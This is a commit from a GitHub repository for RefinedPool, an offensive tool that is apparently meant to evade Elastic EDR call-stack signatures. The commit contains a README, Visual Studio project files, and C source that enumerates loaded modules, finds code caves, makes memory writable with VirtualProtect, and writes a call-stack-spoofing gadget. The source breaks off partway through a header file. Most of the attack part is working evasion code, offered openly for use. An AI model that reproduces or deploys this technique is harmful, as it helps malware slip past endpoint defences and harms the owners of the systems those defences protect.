mirror of
https://github.com/Vith0r/RefinedPool
synced 2026-06-21 13:46:13 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,102 @@
|
||||
# RefinedPool
|
||||
|
||||
**Evading Elastic EDR call stack signatures through dynamic code cave injection**
|
||||
|
||||
RefinedPool is an enhancement of [LibTPLoadLib](https://github.com/AlmondOffSec/LibTPLoadLib) by [@AlmondOffSec](https://github.com/AlmondOffSec), which uses call gadgets to break the [call stack signature used by Elastic EDR](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) on proxying module loads via Windows Thread Pool API.
|
||||
|
||||
### Original Technique
|
||||
|
||||
The original **LibTPLoadLib** technique (detailed in [this blogpost](https://offsec.almond.consulting/evading-elastic-callstack-signatures.html)) works by:
|
||||
- Using Thread Pool callbacks to proxy `LoadLibraryA` calls
|
||||
- Leveraging a call gadget (`call r10; add rsp, 0x28; ret`) to remove the callback function from the call stack
|
||||
|
||||

|
||||
|
||||
- This breaks Elastic's detection pattern that looks for suspicious call stacks when loading libraries
|
||||
|
||||
**The original approach required:**
|
||||
- Loading a specific hardcoded DLL (`dsdmo_10.0.26100.1882.dll`) containing the gadget
|
||||
- The DLL had to be manually placed at `C:\dsdmo_10.0.26100.1882.dll`
|
||||
- This creates a circular dependency: loading a suspicious DLL to evade detection of loading DLLs
|
||||
|
||||
## "Innovation"
|
||||
|
||||
The need for external hardcoded DLLs was eliminated by implementing **dynamic code cave injection**.
|
||||
|
||||
Instead of searching for pre-existing gadgets in hardcoded DLLs, RefinedPool:
|
||||
|
||||
1. **Enumerates loaded modules** in the current process
|
||||
2. **Locates code caves** within executable sections, specifically:
|
||||
- Searches inside existing function boundaries using the Exception Directory (`.pdata` / `RUNTIME_FUNCTION` table)
|
||||
- Looks for continuous sequences of null bytes or INT3 instructions (`0xCC`)
|
||||
- Ensures the cave is at least 10 bytes to fit the gadget
|
||||
3. **Writes the gadget dynamically** into the discovered code cave:
|
||||
```asm
|
||||
41 FF D2 ; call r10
|
||||
33 C0 ; xor eax, eax
|
||||
48 83 C4 28 ; add rsp, 0x28
|
||||
C3 ; ret
|
||||
```
|
||||
4. **Uses the injected gadget** for the Thread Pool callback, just like the original technique
|
||||
|
||||
### Advantages
|
||||
|
||||
- **No external DLL dependencies**: Works with modules already loaded in memory
|
||||
- **Stealthier**: No suspicious DLL load operations that could trigger alerts
|
||||
- **More practical**: Doesn't require specific Windows versions or pre-staged files
|
||||
- **Dynamic adaptation**: Searches across multiple candidate modules automatically
|
||||
- **Function-aware**: Preferentially places gadgets within legitimate function boundaries for "better stealth"
|
||||
|
||||
## Call Stack Result
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Module Exclusion List
|
||||
|
||||
To avoid critical system modules, RefinedPool excludes:
|
||||
- `ntdll.dll`
|
||||
- `kernel32.dll`
|
||||
- `kernelbase.dll`
|
||||
|
||||
## Methods
|
||||
|
||||
The methods can be easily alternated in "loadlib.c".
|
||||
|
||||
1. **WriteGadget** (primary method):
|
||||
- Combines code cave detection with dynamic gadget injection
|
||||
- Uses `FindCodeCaveInFunction` to locate suitable memory space
|
||||
- Writes the 10-byte gadget sequence directly into discovered code caves
|
||||
- Handles memory protection changes (VirtualProtect) automatically
|
||||
|
||||
2. **FindCallGadget** (original method):
|
||||
- Searches for pre-existing gadget patterns in loaded modules
|
||||
- Scans candidate DLLs for the byte sequence: `41 FF D2 ... 48 83 C4 28 C3`
|
||||
- Kept for compatibility and fallback scenarios
|
||||
- Can be used as alternative when code cave injection is not desired
|
||||
|
||||
## Credits & References
|
||||
|
||||
### Original Work
|
||||
- **LibTPLoadLib** by [@AlmondOffSec](https://github.com/AlmondOffSec)
|
||||
- Repository: https://github.com/AlmondOffSec/LibTPLoadLib
|
||||
- Blog: https://offsec.almond.consulting/evading-elastic-callstack-signatures.html
|
||||
- License: BSD 3-Clause License (see [tploadlib.c](https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c))
|
||||
|
||||
### Inspiration & Research
|
||||
- [Elastic EDR detection rule](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) - The signature this technique bypasses
|
||||
- [@rasta-mouse's LibTP](https://github.com/rasta-mouse/LibTP) - Format inspiration for the original project
|
||||
- [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) - Shared library framework used in the original
|
||||
- [Carregamento por Proxy](https://vith0r.gitbook.io/public/malware-dev/posts/stack/carregamento-por-proxy) - My research on proxy loading techniques
|
||||
- [Return Address Spoofing](https://vith0r.gitbook.io/public/malware-dev/posts/stack/return-address-spoofing) - My research on call stack manipulation
|
||||
|
||||
## License
|
||||
|
||||
This project respects the original BSD 3-Clause License from LibTPLoadLib. See the copyright notice in `src_original/tploadlib.c` for the original license terms.
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Special thanks to [@AlmondOffSec](https://github.com/AlmondOffSec) / [@SAERXCIT](https://github.com/SAERXCIT) for the original research and implementation that made this enhancement possible.
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36310.24 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RefinedPool", "RefinedPool\RefinedPool.vcxproj", "{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.Build.0 = Debug|x64
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.ActiveCfg = Release|x64
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.Build.0 = Release|x64
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {47C08E14-691A-4F6D-ADF0-BB00826E3884}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,149 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{3cb63983-93e8-4aca-82d1-ec1d1edc32e5}</ProjectGuid>
|
||||
<RootNamespace>RefinedPool</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>DO_GADGET=1
|
||||
;WIN32;
|
||||
_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>DO_GADGET=1
|
||||
;WIN32;
|
||||
_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="gadget.h" />
|
||||
<ClInclude Include="loadlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="gadget.c" />
|
||||
<ClCompile Include="loadlib.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="workcallback.asm">
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild>
|
||||
<FileType>Document</FileType>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,41 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Arquivos de Origem">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Arquivos de Cabeçalho">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Arquivos de Recurso">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="gadget.h">
|
||||
<Filter>Arquivos de Cabeçalho</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="loadlib.h">
|
||||
<Filter>Arquivos de Cabeçalho</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="gadget.c">
|
||||
<Filter>Arquivos de Origem</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="loadlib.c">
|
||||
<Filter>Arquivos de Origem</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Arquivos de Origem</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="workcallback.asm">
|
||||
<Filter>Arquivos de Origem</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,226 @@
|
||||
#include "gadget.h"
|
||||
|
||||
#pragma comment(lib, "kernel32.lib")
|
||||
|
||||
PVOID FindGadgetInModule(HMODULE hModule) {
|
||||
if (!hModule) return NULL;
|
||||
|
||||
PBYTE base = (PBYTE)hModule;
|
||||
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
|
||||
|
||||
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
|
||||
DWORD imageSize = nt->OptionalHeader.SizeOfImage;
|
||||
|
||||
for (DWORD i = 0; (i + 3 + GADGET_MAX_GAP + 5) < imageSize; i++) {
|
||||
|
||||
// 41 FF D2 = call r10
|
||||
if (base[i] != 0x41) continue;
|
||||
if (base[i + 1] != 0xFF) continue;
|
||||
if (base[i + 2] != 0xD2) continue;
|
||||
|
||||
for (int gap = 0; gap < GADGET_MAX_GAP; gap++) {
|
||||
DWORD j = i + 3 + gap;
|
||||
if ((j + 4) >= imageSize) break;
|
||||
|
||||
// 48 83 C4 28 C3 = add rsp,28h / ret
|
||||
if (base[j] == 0x48 &&
|
||||
base[j + 1] == 0x83 &&
|
||||
base[j + 2] == 0xC4 &&
|
||||
base[j + 3] == 0x28 &&
|
||||
base[j + 4] == 0xC3)
|
||||
{
|
||||
return (PVOID)&base[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID FindCallGadget(HMODULE* phGadgetModule) {
|
||||
if (phGadgetModule) *phGadgetModule = NULL;
|
||||
|
||||
printf("[*] Buscando gadget em DLLs candidatas...\n");
|
||||
|
||||
for (int i = 0; GADGET_CANDIDATE_DLLS[i] != NULL; i++) {
|
||||
|
||||
HMODULE hMod = GetModuleHandleA(GADGET_CANDIDATE_DLLS[i]);
|
||||
|
||||
if (!hMod) {
|
||||
printf("tentando carregar '%s' para buscar gadget...\n", GADGET_CANDIDATE_DLLS[i]);
|
||||
hMod = LoadLibraryA(GADGET_CANDIDATE_DLLS[i]);
|
||||
getchar();
|
||||
}
|
||||
else {
|
||||
printf("'%s' ja carregada, buscando gadget...\n", GADGET_CANDIDATE_DLLS[i]);
|
||||
}
|
||||
|
||||
if (!hMod) continue;
|
||||
|
||||
PVOID gadget = FindGadgetInModule(hMod);
|
||||
if (gadget) {
|
||||
if (phGadgetModule) *phGadgetModule = hMod;
|
||||
|
||||
#ifdef _DEBUG
|
||||
printf("[+] Gadget encontrado em '%s' %p\n", GADGET_CANDIDATE_DLLS[i], gadget);
|
||||
#endif
|
||||
|
||||
return gadget;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID FindCodeCave(void) {
|
||||
HMODULE hSelf = GetModuleHandle(NULL);
|
||||
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32,
|
||||
GetCurrentProcessId());
|
||||
if (hSnap == INVALID_HANDLE_VALUE) {
|
||||
fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) };
|
||||
PVOID result = NULL;
|
||||
|
||||
if (!Module32FirstW(hSnap, &me)) goto cleanup;
|
||||
|
||||
do {
|
||||
|
||||
if (me.hModule == hSelf) {
|
||||
continue;
|
||||
}
|
||||
|
||||
char nameA[MAX_PATH];
|
||||
WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL);
|
||||
|
||||
char* name = strrchr(nameA, '\\');
|
||||
name = name ? name + 1 : nameA;
|
||||
|
||||
if (IsExcluded(name)) {
|
||||
printf("[~] Pulando modulo excluido: %s\n", name);
|
||||
continue;
|
||||
}
|
||||
|
||||
printf("[*] Verificando: %s (base: %p)\n", name, (void*)me.hModule);
|
||||
|
||||
PVOID cave = FindCodeCaveInModule(me.hModule);
|
||||
if (cave) {
|
||||
printf("[+] Code cave encontrado em: %s %p\n", name, cave);
|
||||
result = cave;
|
||||
break;
|
||||
}
|
||||
|
||||
} while (Module32NextW(hSnap, &me));
|
||||
|
||||
cleanup:
|
||||
CloseHandle(hSnap);
|
||||
return result;
|
||||
}
|
||||
|
||||
PVOID WriteGadget(HMODULE* phModule) {
|
||||
printf("[*] Buscando code cave de %d bytes dentro de funcao...\n", CAVE_SIZE);
|
||||
|
||||
// Percorre modulos carregados buscando um cave dentro de uma RUNTIME_FUNCTION
|
||||
HMODULE hSelf = GetModuleHandle(NULL);
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32,
|
||||
GetCurrentProcessId());
|
||||
if (hSnap == INVALID_HANDLE_VALUE) {
|
||||
fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) };
|
||||
PVOID cave = NULL;
|
||||
HMODULE hFoundMod = NULL;
|
||||
|
||||
if (!Module32FirstW(hSnap, &me)) { CloseHandle(hSnap); return NULL; }
|
||||
|
||||
do {
|
||||
if (me.hModule == hSelf) continue;
|
||||
|
||||
char nameA[MAX_PATH];
|
||||
WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL);
|
||||
char* name = strrchr(nameA, '\\');
|
||||
name = name ? name + 1 : nameA;
|
||||
|
||||
if (IsExcluded(name)) continue;
|
||||
|
||||
printf("[*] Verificando funcoes em: %s\n", name);
|
||||
|
||||
cave = FindCodeCaveInFunction(me.hModule);
|
||||
if (cave) {
|
||||
hFoundMod = me.hModule;
|
||||
printf("[+] Code cave encontrado em: %s %p\n", name, cave);
|
||||
break;
|
||||
}
|
||||
} while (Module32NextW(hSnap, &me));
|
||||
|
||||
CloseHandle(hSnap);
|
||||
|
||||
if (!cave) {
|
||||
printf("[-] Nenhum code cave em funcao existente encontrado.\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (phModule) *phModule = hFoundMod;
|
||||
|
||||
DWORD oldProtect;
|
||||
if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(cave, Gadget, CAVE_SIZE);
|
||||
|
||||
VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect);
|
||||
|
||||
printf("[+] Gadget escrito em: %p\n", cave);
|
||||
return cave;
|
||||
}
|
||||
|
||||
/*
|
||||
PVOID WriteGadget(HMODULE* phModule) {
|
||||
PVOID result = NULL;
|
||||
printf("[*] Buscando code cave de %d bytes...\n", CAVE_SIZE);
|
||||
|
||||
PVOID cave = FindCodeCave();
|
||||
|
||||
if (!cave) {
|
||||
printf("[-] Nenhum code cave encontrado.\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[+] Code cave encontrado em: %p\n", cave);
|
||||
|
||||
if (phModule) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
if (VirtualQuery(cave, &mbi, sizeof(mbi))) {
|
||||
*phModule = (HMODULE)mbi.AllocationBase;
|
||||
}
|
||||
else {
|
||||
*phModule = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(cave, Gadget, CAVE_SIZE);
|
||||
|
||||
VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect);
|
||||
|
||||
printf("[+] Gadget escrito em %p\n", cave);
|
||||
|
||||
return cave;
|
||||
}
|
||||
*/
|
||||
@@ -0,0 +1,150 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#define GADGET_MAX_GAP 20
|
||||
#define CAVE_SIZE 10
|
||||
|
||||
static const char* GADGET_CANDIDATE_DLLS[] = {
|
||||
"C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\nv_dispi.inf_amd64_20ae8f14a487d5db\\nvwgf2umx.dll",
|
||||
"nvwgf2umx.dll",
|
||||
NULL
|
||||
};
|
||||
|
||||
static const BYTE Gadget[CAVE_SIZE] = {
|
||||
0x41, 0xFF, 0xD2, // call r10
|
||||
0x33, 0xC0, // xor eax, eax
|
||||
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
|
||||
0xC3 // ret
|
||||
};
|
||||
|
||||
static const char* EXCLUDED_MODULES[] = {
|
||||
"ntdll.dll",
|
||||
"kernel32.dll",
|
||||
"kernelbase.dll",
|
||||
"user32.dll",
|
||||
"windhawk.dll",
|
||||
"win32u.dll",
|
||||
NULL
|
||||
};
|
||||
|
||||
static BOOL IsExcluded(const char* modName) {
|
||||
char lower[MAX_PATH];
|
||||
int i = 0;
|
||||
while (modName[i] && i < MAX_PATH - 1) {
|
||||
lower[i] = (char)tolower((unsigned char)modName[i]);
|
||||
i++;
|
||||
}
|
||||
lower[i] = '\0';
|
||||
|
||||
for (int j = 0; EXCLUDED_MODULES[j] != NULL; j++) {
|
||||
if (strcmp(lower, EXCLUDED_MODULES[j]) == 0)
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static PVOID FindCodeCaveInModule(HMODULE hModule) {
|
||||
if (!hModule) return NULL;
|
||||
|
||||
PBYTE base = (PBYTE)hModule;
|
||||
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
|
||||
|
||||
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
|
||||
|
||||
WORD numSections = nt->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
|
||||
|
||||
for (WORD s = 0; s < numSections; s++, section++) {
|
||||
|
||||
if (!(section->Characteristics & IMAGE_SCN_MEM_EXECUTE))
|
||||
continue;
|
||||
|
||||
DWORD rva = section->VirtualAddress;
|
||||
DWORD size = section->Misc.VirtualSize;
|
||||
|
||||
if (size < CAVE_SIZE) continue;
|
||||
|
||||
PBYTE start = base + rva;
|
||||
PBYTE end = start + size - CAVE_SIZE;
|
||||
|
||||
for (PBYTE p = start; p < end; p++) {
|
||||
|
||||
if (*p != 0x00 && *p != 0xCC)
|
||||
continue;
|
||||
|
||||
BYTE fill = *p;
|
||||
BOOL ok = TRUE;
|
||||
|
||||
for (int i = 1; i < CAVE_SIZE; i++) {
|
||||
if (p[i] != fill) { ok = FALSE; break; }
|
||||
}
|
||||
|
||||
if (ok) return (PVOID)p;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static PVOID FindCodeCaveInFunction(HMODULE hModule) {
|
||||
if (!hModule) return NULL;
|
||||
|
||||
PBYTE base = (PBYTE)hModule;
|
||||
|
||||
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
|
||||
|
||||
